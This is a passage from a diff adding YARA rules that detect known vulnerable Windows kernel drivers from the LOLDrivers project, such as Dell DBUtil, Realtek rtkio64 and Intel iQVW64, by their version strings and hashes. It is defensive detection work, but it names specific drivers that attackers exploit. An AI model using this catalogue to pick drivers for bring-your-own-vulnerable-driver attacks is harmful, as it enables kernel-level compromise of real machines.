+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e0030002e0034002e0030 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]004c0065006e006f0076006f0044006900610067006e006f00730074006900630073004400720069007600650072002e007300790073 } /* InternalName LenovoDiagnosticsDriversys */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]004c0065006e006f0076006f00200044006900610067006e006f00730074006900630073 } /* ProductName LenovoDiagnostics */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]004c0065006e006f0076006f0044006900610067006e006f00730074006900630073004400720069007600650072002e007300790073 } /* OriginalFilename LenovoDiagnosticsDriversys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]00a9002000320030003200310020004c0065006e006f0076006f002000470072006f007500700020004c0069006d0069007400650064002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e } /* LegalCopyright LenovoGroupLimitedAllrightsreserved */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and all of them
+}
+
+
+rule PUA_VULN_Driver_Dell_Dbutil_71FE {
+	meta:
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - DBUtilDrv2.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "71fe5af0f1564dc187eea8d59c0fbc897712afa07d18316d2080330ba17cf009"
+		date = "2023-06-14"
+		score = 40
+		id = "172e8e13-e1ff-5caf-9759-d607ef072215"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]00440042005500740069006c } /* FileDescription DBUtil */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]00440065006c006c } /* CompanyName Dell */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0032002e0037002e0030002e0030 } /* ProductVersion  */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]00440042005500740069006c } /* ProductName DBUtil */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]00a900200032003000320031002000440065006c006c00200049006e0063002e00200041006c006c0020005200690067006800740073002000520065007300650072007600650064002e0020 } /* LegalCopyright DellIncAllRightsReserved */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and all of them
+}
+
+
+rule PUA_VULN_Driver_Atszio_Atsziodriver_673B {
+	meta:
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - ATSZIO.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "673bcec3d53fab5efd6e3bac25ac9d6cc51f6bbdf8336e38aade2713dc1ae11b"
+		hash = "31d8fc6f5fb837d5eb29db828d13ba8ee11867d86a90b2c2483a578e1d0ec43a"
+		date = "2023-06-14"
+		score = 40
+		id = "bcd5bc05-5e71-5491-be7d-94cdbebddd9f"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]004100540053005a0049004f0020004400720069007600650072 } /* FileDescription ATSZIODriver */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0030002c00200032002c00200031002c00200032 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0030002c00200032002c00200031002c00200032 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]004100540053005a0049004f } /* InternalName ATSZIO */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]004100540053005a0049004f0020004400720069007600650072 } /* ProductName ATSZIODriver */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]004100540053005a0049004f002e007300790073 } /* OriginalFilename ATSZIOsys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200032003000310030 } /* LegalCopyright CopyrightC */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and all of them
+}
+
+
+rule PUA_VULN_Driver_Asus_Asmmapsys_Atkgenericfunctionservice_025E {
+	meta:
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - asmmap64.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "025e7be9fcefd6a83f4471bba0c11f1c11bd5047047d26626da24ee9a419cdc4"
+		date = "2023-06-14"
+		score = 40
+		id = "68572e19-5b92-57fb-b301-0224e00139cd"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]004d0065006d006f007200790020006d0061007000700069006e00670020004400720069007600650072 } /* FileDescription MemorymappingDriver */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0041005300550053 } /* CompanyName ASUS */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002c00200030002c00200039002c00200031 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002c00200030002c00200039002c00200030 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]00610073006d006d00610070002e007300790073 } /* InternalName asmmapsys */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]00410054004b002000470065006e0065007200690063002000460075006e006300740069006f006e00200053006500720076006900630065 } /* ProductName ATKGenericFunctionService */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]00610073006d006d00610070002e007300790073 } /* OriginalFilename asmmapsys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200032003000300039 } /* LegalCopyright CopyrightC */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and all of them
+}
+
+
+rule PUA_VULN_Driver_Novellinc_Novellxtier_FB81 {
+	meta:
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - nscm.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "fb81b5f8bf69637dbdf050181499088a67d24577587bc520de94b5ee8996240f"
+		hash = "76660e91f1ff3cb89630df5af4fe09de6098d09baa66b1a130c89c3c5edd5b22"
+		hash = "2e665962c827ce0adbd29fe6bcf09bbb1d7a7022075d162ff9b65d0af9794ac0"
+		date = "2023-06-14"
+		score = 40
+		id = "ba5a060c-e889-5f23-9938-7fbfceaae7af"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]004e006f00760065006c006c002000580054006900650072002000530065007300730069006f006e0020004d0061006e0061006700650072 } /* FileDescription NovellXTierSessionManager */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]004e006f00760065006c006c002c00200049006e0063002e } /* CompanyName NovellInc */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0033002e0031002e00310031002e0030 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0033002e0031002e00310031 } /* ProductVersion  */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]004e006f00760065006c006c002000580054006900650072 } /* ProductName NovellXTier */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006e00730063006d002e007300790073 } /* OriginalFilename nscmsys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]00280043002900200043006f007000790072006900670068007400200032003000300030002d0032003000310033002c0020004e006f00760065006c006c002c00200049006e0063002e00200041006c006c0020005200690067006800740073002000520065007300650072007600650064002e } /* LegalCopyright CCopyrightNovellIncAllRightsReserved */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 200KB and all of them
+}
+
+
+rule PUA_VULN_Driver_Realtek_Rtkiosys_Realtekiodriver_7133 {
+	meta:
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - rtkio64.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "7133a461aeb03b4d69d43f3d26cd1a9e3ee01694e97a0645a3d8aa1a44c39129"
+		date = "2023-06-14"
+		score = 40
+		id = "1d9df905-34d9-5503-b08d-ea4ff2cd826a"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]005200650061006c00740065006b00200049004f0020004400720069007600650072 } /* FileDescription RealtekIODriver */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]005200650061006c00740065006b00200020002000200020002000200020002000200020002000200020002000200020002000200020002000200020002000200020002000200020002000200020002000200020002000200020002000200020002000200020 } /* CompanyName Realtek */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e003000300038002e0030003800320033002e00320030003100370020006200750069006c0074002000620079003a002000570069006e00440044004b } /* FileVersion builtbyWinDDK */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e003000300038002e0030003800320033002e0032003000310037 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]00720074006b0069006f00360034002e0073007900730020 } /* InternalName rtkiosys */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]005200650061006c00740065006b00200049004f00200044007200690076006500720020002000200020002000200020002000200020002000200020002000200020002000200020002000200020 } /* ProductName RealtekIODriver */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]00720074006b0069006f00360034002e0073007900730020 } /* OriginalFilename rtkiosys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f00700079007200690067006800740020002800430029002000320030003100370020005200650061006c00740065006b002000530065006d00690063006f006e0064007500630074006f007200200043006f00720070006f0072006100740069006f006e002e00200041006c006c002000520069006700680074002000520065007300650072007600650064002e002000200020002000200020002000200020002000200020 } /* LegalCopyright CopyrightCRealtekSemiconductorCorporationAllRightReserved */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and all of them
+}
+
+
+rule PUA_VULN_Driver_Lgelectronicsinc_Lhasys_Microsoftwindowsoperatingsystem_23BA {
+	meta:
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - LHA.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "23ba19352b1e71a965260bf4d5120f0200709ee8657ed381043bec9a938a1ade"
+		hash = "e75714f8e0ff45605f6fc7689a1a89c7dcd34aab66c6131c63fefaca584539cf"
+		date = "2023-06-14"
+		score = 40
+		id = "8af33121-526d-5f4c-8cde-6e427f36ad97"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]004c00480041 } /* FileDescription LHA */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]004c004700200045006c0065006300740072006f006e00690063007300200049006e0063002e } /* CompanyName LGElectronicsInc */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0036002e0031002e0037003600300030002e003100360033003800350020006200750069006c0074002000620079003a002000570069006e00440044004b } /* FileVersion builtbyWinDDK */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0036002e0031002e0037003600300030002e00310036003300380035 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]004c00480041002e007300790073 } /* InternalName LHAsys */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]004d006900630072006f0073006f0066007400ae002000570069006e0064006f0077007300ae0020004f007000650072006100740069006e0067002000530079007300740065006d } /* ProductName MicrosoftWindowsOperatingSystem */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]004c00480041002e007300790073 } /* OriginalFilename LHAsys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0075006c00740072006100620069006f007300400068006f0074006d00610069006c002e0063006f006d } /* LegalCopyright ultrabioshotmailcom */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and all of them
+}
+
+
+rule PUA_VULN_Driver_Logmeininc_Lmiinfosys_Logmein_453B {
+	meta:
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - LMIinfo.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "453be8f63cc6b116e2049659e081d896491cf1a426e3d5f029f98146a3f44233"
+		date = "2023-06-14"
+		score = 40
+		id = "50e671ec-752c-5494-97bc-bd29cd7452f1"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]004c006f0067004d00650049006e0020004b00650072006e0065006c00200049006e0066006f0072006d006100740069006f006e002000500072006f00760069006400650072 } /* FileDescription LogMeInKernelInformationProvider */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]004c006f0067004d00650049006e002c00200049006e0063002e } /* CompanyName LogMeInInc */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]00310031002e0031002e0030002e0033003200320030 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]00310031002e0031002e0030002e0033003200320030 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]004c004d00490069006e0066006f002e007300790073 } /* InternalName LMIinfosys */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]004c006f0067004d00650049006e } /* ProductName LogMeIn */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]004c004d00490069006e0066006f002e007300790073 } /* OriginalFilename LMIinfosys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000a900200032003000300033002d00320030003100370020004c006f0067004d00650049006e002c00200049006e0063002e00200050006100740065006e00740065006400200061006e006400200070006100740065006e00740073002000700065006e00640069006e0067002e } /* LegalCopyright CopyrightLogMeInIncPatentedandpatentspending */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and all of them
+}
+
+
+rule PUA_VULN_Driver_Insydesoftwarecorp_Segwindrvxsys_Segwindowsdriverx_C628 {
+	meta:
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - segwindrvx64.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "c628cda1ef43defc00af45b79949675a8422490d32b080b3a8bb9434242bdbf2"
+		date = "2023-06-14"
+		score = 40
+		id = "35330a4b-841a-5e61-b8c1-5e02f61ec021"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]005300450047002000570069006e0064006f0077007300200044007200690076006500720020007800360034 } /* FileDescription SEGWindowsDriverx */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0049006e007300790064006500200053006f00660074007700610072006500200043006f00720070002e } /* CompanyName InsydeSoftwareCorp */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]003100300030002c00200030002c00200037002c00200030 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]003100300030002c00200030002c00200037002c00200030 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]00730065006700770069006e006400720076007800360034002e007300790073 } /* InternalName segwindrvxsys */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]005300450047002000570069006e0064006f0077007300200044007200690076006500720020007800360034 } /* ProductName SEGWindowsDriverx */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]00730065006700770069006e006400720076007800360034002e007300790073 } /* OriginalFilename segwindrvxsys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f00700079007200690067006800740020002800630029002000320030003100320020002d00200032003000310034002c00200049006e007300790064006500200053006f00660074007700610072006500200043006f00720070002e00200041006c006c0020005200690067006800740073002000520065007300650072007600650064002e } /* LegalCopyright CopyrightcInsydeSoftwareCorpAllRightsReserved */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and all of them
+}
+
+
+rule PUA_VULN_Driver_Elaboratebytesag_Elbycdio_Cdrtools_2FBB {
+	meta:
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - ElbyCDIO.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "2fbbc276737047cb9b3ba5396756d28c1737342d89dce1b64c23a9c4513ae445"
+		date = "2023-06-14"
+		score = 40
+		id = "a688139a-c44f-5a93-933d-73369facec6c"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0045006c0062007900430044002000570069006e0064006f007700730020004e0054002f0032003000300030002f0058005000200049002f004f0020006400720069007600650072 } /* FileDescription ElbyCDWindowsNTXPIOdriver */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0045006c00610062006f0072006100740065002000420079007400650073002000410047 } /* CompanyName ElaborateBytesAG */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0036002c00200030002c00200030002c00200032 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0036002c00200030002c00200030002c00200030 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0045006c00620079004300440049004f } /* InternalName ElbyCDIO */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0043004400520054006f006f006c0073 } /* ProductName CDRTools */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0045006c00620079004300440049004f002e007300790073 } /* OriginalFilename ElbyCDIOsys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f00700079007200690067006800740020002800430029002000320030003000300020002d0020003200300030003700200045006c00610062006f0072006100740065002000420079007400650073002000410047 } /* LegalCopyright CopyrightCElaborateBytesAG */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and all of them
+}
+
+
+rule PUA_VULN_Driver_Sysinternalswwwsysinternalscom_Procexpsys_Processexplorer_BCED {
+	meta:
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - procexp.Sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "bced04bdefad6a08c763265d6993f07aa2feb57d33ed057f162a947cf0e6668f"
+		date = "2023-06-14"
+		score = 40
+		id = "25dd8cda-6aa3-595c-8502-cc83e04b8235"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]00500072006f00630065007300730020004500780070006c006f007200650072 } /* FileDescription ProcessExplorer */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0053007900730069006e007400650072006e0061006c00730020002d0020007700770077002e0073007900730069006e007400650072006e0061006c0073002e0063006f006d } /* CompanyName Sysinternalswwwsysinternalscom */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0039002e00330030 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0039002e00330030 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]00700072006f0063006500780070002e007300790073 } /* InternalName procexpsys */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]00500072006f00630065007300730020004500780070006c006f007200650072 } /* ProductName ProcessExplorer */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]00700072006f0063006500780070002e005300790073 } /* OriginalFilename procexpSys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f007000790072006900670068007400200028004300290020004d002e002000520075007300730069006e006f007600690063006800200031003900390036002d0032003000300035 } /* LegalCopyright CopyrightCMRussinovich */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and all of them
+}
+
+
+rule PUA_VULN_Driver_Realtek_Rtkiowxsys_Realtekiodriver_082C {
+	meta:
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - rtkiow8x64.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "082c39fe2e3217004206535e271ebd45c11eb072efde4cc9885b25ba5c39f91d"
+		date = "2023-06-14"
+		score = 40
+		id = "48446c71-f353-5f4f-a158-20bc7dec694f"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]005200650061006c00740065006b00200049004f0020004400720069007600650072 } /* FileDescription RealtekIODriver */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]005200650061006c00740065006b00200020002000200020002000200020002000200020002000200020002000200020002000200020002000200020002000200020002000200020002000200020002000200020002000200020002000200020002000200020 } /* CompanyName Realtek */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e003000300038002e0030003800320033002e0032003000310037 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e003000300038002e0030003800320033002e0032003000310037 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]00720074006b0069006f00770038007800360034002e0073007900730020 } /* InternalName rtkiowxsys */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]005200650061006c00740065006b00200049004f00200044007200690076006500720020002000200020002000200020002000200020002000200020002000200020002000200020002000200020 } /* ProductName RealtekIODriver */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]00720074006b0069006f00770038007800360034002e0073007900730020 } /* OriginalFilename rtkiowxsys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f00700079007200690067006800740020002800430029002000320030003100370020005200650061006c00740065006b002000530065006d00690063006f006e0064007500630074006f007200200043006f00720070006f0072006100740069006f006e002e00200041006c006c002000520069006700680074002000520065007300650072007600650064002e002000200020002000200020002000200020002000200020 } /* LegalCopyright CopyrightCRealtekSemiconductorCorporationAllRightReserved */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and all of them
+}
+
+
+rule PUA_VULN_Driver_Intelcorporation_Iqvwsys_Intelriqvwsys_D1F4 {
+	meta:
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - iQVW64.SYS"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "d1f4949f76d8ac9f2fa844d16b1b45fb1375d149d46e414e4a4c9424dc66c91f"
+		date = "2023-06-14"
+		score = 40
+		id = "c1e8abd1-14c1-5ddd-87cb-647dfcc652fd"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0049006e00740065006c0028005200290020004e006500740077006f0072006b0020004100640061007000740065007200200044006900610067006e006f00730074006900630020004400720069007600650072 } /* FileDescription IntelRNetworkAdapterDiagnosticDriver */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0049006e00740065006c00200043006f00720070006f0072006100740069006f006e0020 } /* CompanyName IntelCorporation */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e00300033002e0031002e00320020006200750069006c0074002000620079003a002000570069006e00440044004b } /* FileVersion builtbyWinDDK */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e00300033002e0031002e0032 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]006900510056005700360034002e005300590053 } /* InternalName iQVWSYS */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0049006e00740065006c0028005200290020006900510056005700360034002e005300590053 } /* ProductName IntelRiQVWSYS */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006900510056005700360034002e005300590053 } /* OriginalFilename iQVWSYS */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200032003000300032002d003200300031003500200049006e00740065006c00200043006f00720070006f0072006100740069006f006e00200041006c006c0020005200690067006800740073002000520065007300650072007600650064002e } /* LegalCopyright CopyrightCIntelCorporationAllRightsReserved */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and all of them
+}
+
+
+rule PUA_VULN_Driver_Intelcorporation_Iqvwsys_Intelriqvwsys_7CB4 {
+	meta:
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - iQVW64.SYS"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "7cb497abc44aad09a38160d6a071db499e05ff5871802ccc45d565d242026ee7"
+		date = "2023-06-14"
+		score = 40
+		id = "b578c798-3923-51b7-80c7-b4e123dc8747"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0049006e00740065006c0028005200290020004e006500740077006f0072006b0020004100640061007000740065007200200044006900610067006e006f00730074006900630020004400720069007600650072 } /* FileDescription IntelRNetworkAdapterDiagnosticDriver */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0049006e00740065006c00200043006f00720070006f0072006100740069006f006e0020 } /* CompanyName IntelCorporation */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e0033002e0032002e003100380020006200750069006c0074002000620079003a002000570069006e00440044004b } /* FileVersion builtbyWinDDK */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e0033002e0032002e00310038 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]006900510056005700360034002e005300590053 } /* InternalName iQVWSYS */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0049006e00740065006c0028005200290020006900510056005700360034002e005300590053 } /* ProductName IntelRiQVWSYS */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006900510056005700360034002e005300590053 } /* OriginalFilename iQVWSYS */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200032003000300032002d003200300031003900200049006e00740065006c00200043006f00720070006f0072006100740069006f006e00200041006c006c0020005200690067006800740073002000520065007300650072007600650064002e } /* LegalCopyright CopyrightCIntelCorporationAllRightsReserved */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and all of them
+}
+
+
+rule PUA_VULN_Driver_Safenetinc_Hostnt_Hostnt_07B6 {
+	meta:
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - HOSTNT.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "07b6d69bafcfd767f1b63a490a8843c3bb1f8e1bbea56176109b5743c8f7d357"
+		date = "2023-06-14"
+		score = 40
+		id = "a1210220-529b-5103-888f-aaa707040eee"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0048006f00730074006e0074002000360034002d0062006900740020006400720069007600650072 } /* FileDescription Hostntbitdriver */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0053006100660065004e00650074002c00200049006e0063002e } /* CompanyName SafeNetInc */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0034002c00200030002c002000310036002c00200030 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0034002c00200030002c002000310036002c00200030 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0048006f00730074006e0074 } /* InternalName Hostnt */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0048006f00730074006e0074 } /* ProductName Hostnt */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0048006f00730074006e0074002e007300790073 } /* OriginalFilename Hostntsys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f00700079007200690067006800740020002800430029002000200053006100660065004e00650074002c00200049006e0063002e } /* LegalCopyright CopyrightCSafeNetInc */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and all of them
+}
+
+
+rule PUA_VULN_Driver_Rivetnetworksllc_Kfecodrvsys_Killertrafficcontrol_9A91 {
+	meta:
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - KfeCo11X64.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "9a91d6e83b8fdec536580f6617f10dfc64eedf14ead29a6a644eb154426622ba"
+		date = "2023-06-14"
+		score = 40
+		id = "a8c05c92-a133-5f8f-bc4e-ff7e21f262e0"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]004b0069006c006c006500720020005400720061006600660069006300200043006f006e00740072006f006c002000430061006c006c006f007500740020004400720069007600650072 } /* FileDescription KillerTrafficControlCalloutDriver */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]005200690076006500740020004e006500740077006f0072006b0073002c0020004c004c0043002e } /* CompanyName RivetNetworksLLC */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0039002e0038002e0034002e00350039 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0039002e0038002e0034002e00350039 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]004b006600650043006f004400720076002e007300790073 } /* InternalName KfeCoDrvsys */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]004b0069006c006c006500720020005400720061006600660069006300200043006f006e00740072006f006c } /* ProductName KillerTrafficControl */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]004b006600650043006f004400720076002e007300790073 } /* OriginalFilename KfeCoDrvsys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200032003000310035002d00320030003100380020005200690076006500740020004e006500740077006f0072006b0073002c0020004c004c0043002e } /* LegalCopyright CopyrightCRivetNetworksLLC */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 200KB and all of them
+}
+
+
+rule PUA_VULN_Driver_Zemanaltd_Zam_7CB5 {
+	meta:
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - zam64.sys"
+		author = "Florian Roth"
